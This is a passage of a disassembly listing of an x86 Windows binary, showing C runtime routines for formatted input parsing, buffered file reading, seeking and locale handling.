sub_41D797+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41DFD6: ; CODE XREF: sub_41D797+756j ; sub_41D797+819j cmp [ebp+var_17], 0 jz loc_41E0BC mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41E0BC ; --------------------------------------------------------------------------- loc_41DFF8: ; CODE XREF: sub_41D797+74Cj cmp [ebp+var_F], 0 jnz loc_41E0B4 loc_41E002: ; CODE XREF: sub_41D797+90Aj cmp esi, 78h jz short loc_41E046 cmp esi, 70h jz short loc_41E046 cmp dword_433E7C, 1 jle short loc_41E021 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E021: ; CODE XREF: sub_41D797+87Cj mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 4 loc_41E02C: ; CODE XREF: sub_41D797+888j test eax, eax jz short loc_41E0A6 cmp esi, 6Fh jnz short loc_41E03F cmp ebx, 38h jge short loc_41E0A6 shl edi, 3 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E03F: ; CODE XREF: sub_41D797+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E046: ; CODE XREF: sub_41D797+86Ej ; sub_41D797+873j cmp dword_433E7C, 1 jle short loc_41E05E push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E06B ; --------------------------------------------------------------------------- loc_41E05E: ; CODE XREF: sub_41D797+8B6j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, 80h loc_41E06B: ; CODE XREF: sub_41D797+8C5j test eax, eax jz short loc_41E0A6 push ebx shl edi, 4 call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41E07E: ; CODE XREF: sub_41D797+8A6j ; sub_41D797+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41E090 dec [ebp+var_C] jz short loc_41E0B4 loc_41E090: ; CODE XREF: sub_41D797+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41E002 ; --------------------------------------------------------------------------- loc_41E0A6: ; CODE XREF: sub_41D797+897j ; sub_41D797+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41E0B4: ; CODE XREF: sub_41D797+865j ; sub_41D797+8F7j cmp [ebp+var_17], 0 jz short loc_41E0BC neg edi loc_41E0BC: ; CODE XREF: sub_41D797+843j ; sub_41D797+85Cj ... cmp esi, 46h jnz short loc_41E0C5 and [ebp+var_1C], 0 loc_41E0C5: ; CODE XREF: sub_41D797+928j cmp [ebp+var_1C], 0 jz loc_41E19D cmp [ebp+var_E], 0 jnz short loc_41E0FE inc [ebp+var_34] loc_41E0D8: ; CODE XREF: sub_41D797+23Bj cmp [ebp+var_30], 0 jz short loc_41E0EE mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0EE: ; CODE XREF: sub_41D797+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41E0FB mov [eax], edi jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0FB: ; CODE XREF: sub_41D797+95Ej mov [eax], di loc_41E0FE: ; CODE XREF: sub_41D797+241j ; sub_41D797+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41E14B ; --------------------------------------------------------------------------- loc_41E109: ; CODE XREF: sub_41D797+93j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41E178 mov ecx, off_433C70 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41E14B inc [ebp+var_4] push edi call sub_41E1F3 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41E186 dec [ebp+var_4] loc_41E14B: ; CODE XREF: sub_41D797+970j ; sub_41D797+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E161 cmp byte ptr [esi], 25h jnz short loc_41E1A3 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41E1A3 mov esi, eax loc_41E161: ; CODE XREF: sub_41D797+9B8j mov al, [esi] test al, al jnz loc_41D7C1 jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E16D: ; CODE XREF: sub_41D797+1F4j ; sub_41D797+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41E17D ; --------------------------------------------------------------------------- loc_41E178: ; CODE XREF: sub_41D797+98Aj dec [ebp+var_4] push edi push ebx loc_41E17D: ; CODE XREF: sub_41D797+9DFj call sub_41E20D pop ecx pop ecx jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E186: ; CODE XREF: sub_41D797+9AFj dec [ebp+var_4] push edi push eax call sub_41E20D dec [ebp+var_4] push edi push ebx call sub_41E20D add esp, 10h loc_41E19D: ; CODE XREF: sub_41D797+1Fj ; sub_41D797+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E1B4 loc_41E1A3: ; CODE XREF: sub_41D797+9BDj ; sub_41D797+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41E1B7 cmp [ebp+var_15], al jnz short loc_41E1B7 or eax, 0FFFFFFFFh jmp short loc_41E1B7 ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41D797+A0Aj mov eax, [ebp+var_34] loc_41E1B7: ; CODE XREF: sub_41D797+A11j ; sub_41D797+A16j ... pop edi pop esi pop ebx leave retn sub_41D797 endp ; =============== S U B R O U T I N E ======================================= sub_41E1BC proc near ; CODE XREF: sub_41D797+7A3p ; sub_41D797+8DCp arg_0 = dword ptr 4 cmp dword_433E7C, 1 push esi jle short loc_41E1D6 mov esi, [esp+4+arg_0] push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41E1E5 ; --------------------------------------------------------------------------- loc_41E1D6: ; CODE XREF: sub_41E1BC+8j mov esi, [esp+4+arg_0] mov eax, off_433C70 mov al, [eax+esi*2] and eax, 4 loc_41E1E5: ; CODE XREF: sub_41E1BC+18j test eax, eax jnz short loc_41E1EF and esi, 0FFFFFFDFh sub esi, 7 loc_41E1EF: ; CODE XREF: sub_41E1BC+2Bj mov eax, esi pop esi retn sub_41E1BC endp ; =============== S U B R O U T I N E ======================================= sub_41E1F3 proc near ; CODE XREF: sub_41D797+1E1p ; sub_41D797+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41E205 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41E205: ; CODE XREF: sub_41E1F3+7j push edx call sub_41E248 pop ecx retn sub_41E1F3 endp ; =============== S U B R O U T I N E ======================================= sub_41E20D proc near ; CODE XREF: sub_41D797+6Bp ; sub_41D797+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41E223 push [esp+arg_4] push [esp+4+arg_0] call sub_420FAF pop ecx pop ecx locret_41E223: ; CODE XREF: sub_41E20D+5j retn sub_41E20D endp ; =============== S U B R O U T I N E ======================================= sub_41E224 proc near ; CODE XREF: sub_41D797+63p ; sub_41D797+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41E22A: ; CODE XREF: sub_41E224+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41E1F3 mov edi, eax push edi call sub_420F60 pop ecx test eax, eax pop ecx jnz short loc_41E22A mov eax, edi pop edi pop esi retn sub_41E224 endp ; =============== S U B R O U T I N E ======================================= sub_41E248 proc near ; CODE XREF: sub_418A86+A9p ; sub_41900C+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41E31C test al, 40h jnz loc_41E31C test al, 2 jz short loc_41E26E or al, 20h mov [esi+0Ch], eax jmp loc_41E31C ; --------------------------------------------------------------------------- loc_41E26E: ; CODE XREF: sub_41E248+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41E282 push esi call sub_41F9D8 pop ecx jmp short loc_41E287 ; --------------------------------------------------------------------------- loc_41E282: ; CODE XREF: sub_41E248+2Fj mov eax, [esi+8] mov [esi], eax loc_41E287: ; CODE XREF: sub_41E248+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41E30B cmp eax, 0FFFFFFFFh jz short loc_41E30B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41E2E0 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41E2C9 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4CECE0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41E2CE ; --------------------------------------------------------------------------- loc_41E2C9: ; CODE XREF: sub_41E248+6Bj mov edi, offset dword_4362F0 loc_41E2CE: ; CODE XREF: sub_41E248+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41E2E0 or dh, 20h mov [esi+0Ch], edx loc_41E2E0: ; CODE XREF: sub_41E248+62j ; sub_41E248+90j cmp dword ptr [esi+18h], 200h jnz short loc_41E2FD mov ecx, [esi+0Ch] test cl, 8 jz short loc_41E2FD test ch, 4 jnz short loc_41E2FD mov dword ptr [esi+18h], 1000h loc_41E2FD: ; CODE XREF: sub_41E248+9Fj ; sub_41E248+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E30B: ; CODE XREF: sub_41E248+55j ; sub_41E248+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41E31C: ; CODE XREF: sub_41E248+Aj ; sub_41E248+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41E248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E321 proc near ; CODE XREF: sub_418A86+90p ; sub_41E248+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4CEDE0 jnb loc_41E4FE mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4CECE0h[eax*4] mov eax, dword_4CECE0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41E4FE and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41E3D6 test dl, 2 jnz short loc_41E3D6 test dl, 48h jz short loc_41E396 mov al, [eax+5] cmp al, 0Ah jz short loc_41E396 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41E396: ; CODE XREF: sub_41E321+56j ; sub_41E321+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 263108Bh test eax, eax jnz short loc_41E3E9 nop call near ptr 2650B3Dh push 5 pop ecx cmp eax, ecx jnz short loc_41E3D1 mov dword_4CD9B4, 9 mov dword_4CD9B8, ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3D1: ; CODE XREF: sub_41E321+99j cmp eax, 6Dh jnz short loc_41E3DD loc_41E3D6: ; CODE XREF: sub_41E321+4Cj ; sub_41E321+51j xor eax, eax jmp loc_41E512 ; --------------------------------------------------------------------------- loc_41E3DD: ; CODE XREF: sub_41E321+B3j push eax call sub_41EF44 pop ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3E9: ; CODE XREF: sub_41E321+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41E4F9 test edx, edx jz short loc_41E40E cmp byte ptr [edi], 0Ah jnz short loc_41E40E or al, 4 jmp short loc_41E410 ; --------------------------------------------------------------------------- loc_41E40E: ; CODE XREF: sub_41E321+E2j ; sub_41E321+E7j and al, 0FBh loc_41E410: ; CODE XREF: sub_41E321+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41E4F3 loc_41E428: ; CODE XREF: sub_41E321+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41E4E3 cmp al, 0Dh jz short loc_41E444 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E444: ; CODE XREF: sub_41E321+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41E462 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41E459 add [ebp+arg_8], 2 jmp short loc_41E4B7 ; --------------------------------------------------------------------------- loc_41E459: ; CODE XREF: sub_41E321+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E462: ; CODE XREF: sub_41E321+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 263108Bh test eax, eax jnz short loc_41E48A nop call near ptr 2650B3Dh test eax, eax jnz short loc_41E4D1 loc_41E48A: ; CODE XREF: sub_41E321+15Dj cmp [ebp+var_C], 0 jz short loc_41E4D1 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41E4AC mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41E4B7 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E4AC: ; CODE XREF: sub_41E321+176j cmp edi, [ebp+arg_4] jnz short loc_41E4BC cmp [ebp+var_1], 0Ah jnz short loc_41E4BC loc_41E4B7: ; CODE XREF: sub_41E321+136j ; sub_41E321+17Dj mov byte ptr [edi], 0Ah jmp short loc_41E4D4 ; --------------------------------------------------------------------------- loc_41E4BC: ; CODE XREF: sub_41E321+18Ej ; sub_41E321+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41E517 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41E4D5 loc_41E4D1: ; CODE XREF: sub_41E321+167j ; sub_41E321+16Dj mov byte ptr [edi], 0Dh loc_41E4D4: ; CODE XREF: sub_41E321+199j inc edi loc_41E4D5: ; CODE XREF: sub_41E321+11Ej ; sub_41E321+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41E428 jmp short loc_41E4F3 ; --------------------------------------------------------------------------- loc_41E4E3: ; CODE XREF: sub_41E321+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41E4F3 or al, 2 mov [esi], al loc_41E4F3: ; CODE XREF: sub_41E321+101j ; sub_41E321+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41E4F9: ; CODE XREF: sub_41E321+DAj mov eax, [ebp+var_8] jmp short loc_41E512 ; --------------------------------------------------------------------------- loc_41E4FE: ; CODE XREF: sub_41E321+12j ; sub_41E321+39j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41E50F: ; CODE XREF: sub_41E321+ABj ; sub_41E321+C3j or eax, 0FFFFFFFFh loc_41E512: ; CODE XREF: sub_41E321+B7j ; sub_41E321+1DBj pop edi pop esi pop ebx leave retn sub_41E321 endp ; =============== S U B R O U T I N E ======================================= sub_41E517 proc near ; CODE XREF: sub_418D0E+67p ; sub_419D23+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4CEDE0 push esi push edi jnb short loc_41E599 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4CECE0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41E599 push eax call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E55B mov dword_4CD9B4, 9 jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E55B: ; CODE XREF: sub_41E517+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 26D0000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41E57B call near ptr 2650B3Dh nop jmp short loc_41E57D ; --------------------------------------------------------------------------- loc_41E57B: ; CODE XREF: sub_41E517+5Aj xor eax, eax loc_41E57D: ; CODE XREF: sub_41E517+62j test eax, eax jz short loc_41E58A push eax call sub_41EF44 pop ecx jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E58A: ; CODE XREF: sub_41E517+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41E5AD ; --------------------------------------------------------------------------- loc_41E599: ; CODE XREF: sub_41E517+Dj ; sub_41E517+2Aj and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41E5AA: ; CODE XREF: sub_41E517+42j ; sub_41E517+71j or eax, 0FFFFFFFFh loc_41E5AD: ; CODE XREF: sub_41E517+80j pop edi pop esi pop ebx retn sub_41E517 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5B1 proc near ; CODE XREF: sub_418D0E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41E5CD mov [edi+4], ebx loc_41E5CD: ; CODE XREF: sub_41E5B1+17j push 1 push ebx push esi call sub_41E517 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41E63B mov edx, [edi+0Ch] test dx, 108h jnz short loc_41E5F2 sub eax, [edi+4] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E5F2: ; CODE XREF: sub_41E5B1+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41E62C mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4CECE0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41E643 mov edx, ecx loc_41E61D: ; CODE XREF: sub_41E5B1+79j cmp edx, eax jnb short loc_41E643 cmp byte ptr [edx], 0Ah jnz short loc_41E629 inc [ebp+var_8] loc_41E629: ; CODE XREF: sub_41E5B1+73j inc edx jmp short loc_41E61D ; --------------------------------------------------------------------------- loc_41E62C: ; CODE XREF: sub_41E5B1+50j test dl, 80h jnz short loc_41E643 mov dword_4CD9B4, 16h loc_41E63B: ; CODE XREF: sub_41E5B1+2Dj or eax, 0FFFFFFFFh jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E643: ; CODE XREF: sub_41E5B1+68j ; sub_41E5B1+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41E651 mov eax, [ebp+var_8] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E651: ; CODE XREF: sub_41E5B1+96j test byte ptr [edi+0Ch], 1 jz loc_41E6FC mov edx, [edi+4] test edx, edx jnz short loc_41E66A and [ebp+var_8], edx jmp loc_41E6FC ; --------------------------------------------------------------------------- loc_41E66A: ; CODE XREF: sub_41E5B1+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41E6F6 push 2 push 0 push [ebp+var_C] call sub_41E517 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41E6BD mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41E6A8: ; CODE XREF: sub_41E5B1+104j cmp eax, ecx jnb short loc_41E6B7 cmp byte ptr [eax], 0Ah jnz short loc_41E6B4 inc [ebp+arg_0] loc_41E6B4: ; CODE XREF: sub_41E5B1+FEj inc eax jmp short loc_41E6A8 ; --------------------------------------------------------------------------- loc_41E6B7: ; CODE XREF: sub_41E5B1+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41E6F1 ; --------------------------------------------------------------------------- loc_41E6BD: ; CODE XREF: sub_41E5B1+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41E517 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41E6E4 mov ecx, [edi+0Ch] test cl, 8 jz short loc_41E6E4 test ch, 4 jz short loc_41E6E7 loc_41E6E4: ; CODE XREF: sub_41E5B1+124j ; sub_41E5B1+12Cj mov eax, [edi+18h] loc_41E6E7: ; CODE XREF: sub_41E5B1+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41E6F1: ; CODE XREF: sub_41E5B1+10Aj jz short loc_41E6F6 inc [ebp+arg_0] loc_41E6F6: ; CODE XREF: sub_41E5B1+D9j ; sub_41E5B1:loc_41E6F1j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41E6FC: ; CODE XREF: sub_41E5B1+A4j ; sub_41E5B1+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41E704: ; CODE XREF: sub_41E5B1+3Cj ; sub_41E5B1+8Dj ... pop edi pop esi pop ebx leave retn sub_41E5B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E709 proc near ; CODE XREF: sub_419063+47p ; sub_419063+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248E0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4CDA60, edi jnz short loc_41E77F push edi push edi push 1 pop ebx push ebx push offset dword_4248D8 mov esi, 100h push esi push edi nop call near ptr 2880000h test eax, eax jz short loc_41E75D mov dword_4CDA60, ebx jmp short loc_41E77F ; --------------------------------------------------------------------------- loc_41E75D: ; CODE XREF: sub_41E709+4Aj push edi push edi push ebx push offset dword_436EF4 push esi push edi nop call near ptr 2870000h test eax, eax jz loc_41E897 mov dword_4CDA60, 2 loc_41E77F: ; CODE XREF: sub_41E709+2Ej ; sub_41E709+52j cmp [ebp+arg_C], edi jle short loc_41E794 push [ebp+arg_C] push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov [ebp+arg_C], eax loc_41E794: ; CODE XREF: sub_41E709+79j mov eax, dword_4CDA60 cmp eax, 2 jnz short loc_41E7BB push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2870000h jmp loc_41E899 ; --------------------------------------------------------------------------- loc_41E7BB: ; CODE XREF: sub_41E709+93j cmp eax, 1 jnz loc_41E897 cmp [ebp+arg_18], edi jnz short loc_41E7D1 mov eax, dword_4CDA58 mov [ebp+arg_18], eax loc_41E7D1: ; CODE XREF: sub_41E709+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2630000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41E897 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E82C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41E82C: ; CODE XREF: sub_41E709+10Ej cmp [ebp+var_24], edi jz short loc_41E897 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2630000h test eax, eax jz short loc_41E897 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2880000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41E897 test byte ptr [ebp+arg_4+1], 4 jz short loc_41E8AB cmp [ebp+arg_14], edi jz loc_41E926 cmp esi, [ebp+arg_14] jg short loc_41E897 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2880000h test eax, eax jnz loc_41E926 loc_41E897: ; CODE XREF: sub_41E709+66j ; sub_41E709+B5j ... xor eax, eax loc_41E899: ; CODE XREF: sub_41E709+ADj ; sub_41E709+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41E8AB: ; CODE XREF: sub_41E709+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E8DF ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41E8DF: ; CODE XREF: sub_41E709+1C2j cmp ebx, edi jz short loc_41E897 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2880000h test eax, eax jz short loc_41E897 cmp [ebp+arg_14], edi push edi push edi jnz short loc_41E906 push edi push edi jmp short loc_41E90C ; --------------------------------------------------------------------------- loc_41E906: ; CODE XREF: sub_41E709+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41E90C: ; CODE XREF: sub_41E709+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 27B0000h mov esi, eax cmp esi, edi jz loc_41E897 loc_41E926: ; CODE XREF: sub_41E709+165j ; sub_41E709+188j mov eax, esi jmp loc_41E899 sub_41E709 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E92D proc near ; CODE XREF: sub_41ECF1+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41EAC6 mov esi, eax pop ecx cmp esi, dword_4CEDE4 mov [ebp+arg_0], esi jz loc_41EABA xor ebx, ebx cmp esi, ebx jz loc_41EAB0 xor edx, edx mov eax, offset dword_436010 loc_41E961: ; CODE XREF: sub_41E92D+41j cmp [eax], esi jz short loc_41E9D7 add eax, 30h inc edx cmp eax, offset dword_436100 jl short loc_41E961 lea eax, [ebp+var_18] push eax push esi call near ptr 2881305h nop cmp eax, 1 jnz loc_41EAA8 push 40h xor eax, eax pop ecx mov edi, offset byte_4CEF00 cmp [ebp+var_18], 1 mov dword_4CEDE4, esi rep stosd stosb mov dword_4CF004, ebx jbe loc_41EA96 cmp [ebp+var_12], 0 jz loc_41EA6C lea ecx, [ebp+var_11] loc_41E9B4: ; CODE XREF: sub_41E92D+139j mov dl, [ecx] test dl, dl jz loc_41EA6C movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41E9C5: ; CODE XREF: sub_41E92D+A8j cmp eax, edx ja loc_41EA60 or byte_4CEF01[eax], 4 inc eax jmp short loc_41E9C5 ; --------------------------------------------------------------------------- loc_41E9D7: ; CODE XREF: sub_41E92D+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4CEF00 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_436020[esi] loc_41E9F3: ; CODE XREF: sub_41E92D+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41EA26 loc_41E9FA: ; CODE XREF: sub_41E92D+F7j mov dl, [ecx+1] test dl, dl jz short loc_41EA26 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41EA1F mov edx, [ebp+var_4] mov dl, byte_436008[edx] loc_41EA14: ; CODE XREF: sub_41E92D+F0j or byte_4CEF01[eax], dl inc eax cmp eax, edi jbe 